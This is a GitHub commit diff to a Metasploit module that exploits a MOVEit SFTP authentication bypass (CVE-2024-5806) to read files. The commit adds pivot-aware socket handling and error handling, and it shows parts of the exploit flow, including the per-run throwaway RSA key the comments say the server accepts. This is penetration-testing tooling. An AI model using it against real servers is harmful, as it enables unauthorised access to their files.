Skip to content

Commit 8422b4c

Browse files
committed
add in support to net/sftp for Metasploits pivot system, by using a new Rex::Socket::Tcp socket when creating the underlying SSH protocols socket.
1 parent ec32b76 commit 8422b4c

File tree

1 file changed

+32
-3
lines changed

1 file changed

+32
-3
lines changed

modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb

Lines changed: 32 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -54,13 +54,30 @@ def initialize(info = {})
5454
)
5555
end
5656

57+
# This method will be used by net/ssh when creating a new TCP socket. We neet this so the net/ssh library will
58+
# honor Metasploits network pivots, and route a connection through the expected session if applicable.
59+
def open(host, port, _connection_options = nil)
60+
vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
61+
Rex::Socket::Tcp.create(
62+
'PeerHost' => host,
63+
'PeerPort' => port,
64+
'Proxies' => datastore['Proxies'],
65+
'Context' => {
66+
'Msf' => framework,
67+
'MsfExploit' => self
68+
}
69+
)
70+
end
71+
5772
def check
5873
# Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
5974
# service and we pull out the servers version string.
6075
transport = ::Net::SSH::Transport::Session.new(
6176
datastore['RHOST'],
6277
{
63-
port: datastore['RPORT']
78+
port: datastore['RPORT'],
79+
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
80+
proxy: self
6481
}
6582
)
6683

@@ -71,7 +88,11 @@ def check
7188

7289
# We cannot get a product version number, so the best we can do is return Detected.
7390
Msf::Exploit::CheckCode::Detected(ident)
74-
rescue Net::SSH::ConnectionTimeout
91+
rescue ::Rex::ConnectionRefused
92+
Msf::Exploit::CheckCode::Unknown('Connection Refused')
93+
rescue ::Rex::HostUnreachable
94+
Msf::Exploit::CheckCode::Unknown('Host Unreachable')
95+
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
7596
Msf::Exploit::CheckCode::Unknown('Connection Timeout')
7697
end
7798

@@ -99,7 +120,9 @@ def run
99120
auth_methods: ['publickey'],
100121
# The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
101122
# key (in PEM format) every time we exploit the vulnerability.
102-
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem]
123+
key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
124+
# Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
125+
proxy: self
103126
}
104127
) do |sftp|
105128
if File.directory? datastore['TARGETFILE']
@@ -116,6 +139,12 @@ def run
116139
print_error('SFTP Status Exception.')
117140
rescue ::Net::SSH::AuthenticationFailed
118141
print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')
142+
rescue ::Rex::ConnectionRefused
143+
print_error('SFTP Connection Refused.')
144+
rescue ::Rex::HostUnreachable
145+
print_error('SFTP Host Unreachable.')
146+
rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
147+
print_error('SFTP Connection Timeout.')
119148
ensure
120149
::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
121150
end

0 commit comments

Comments
 (0)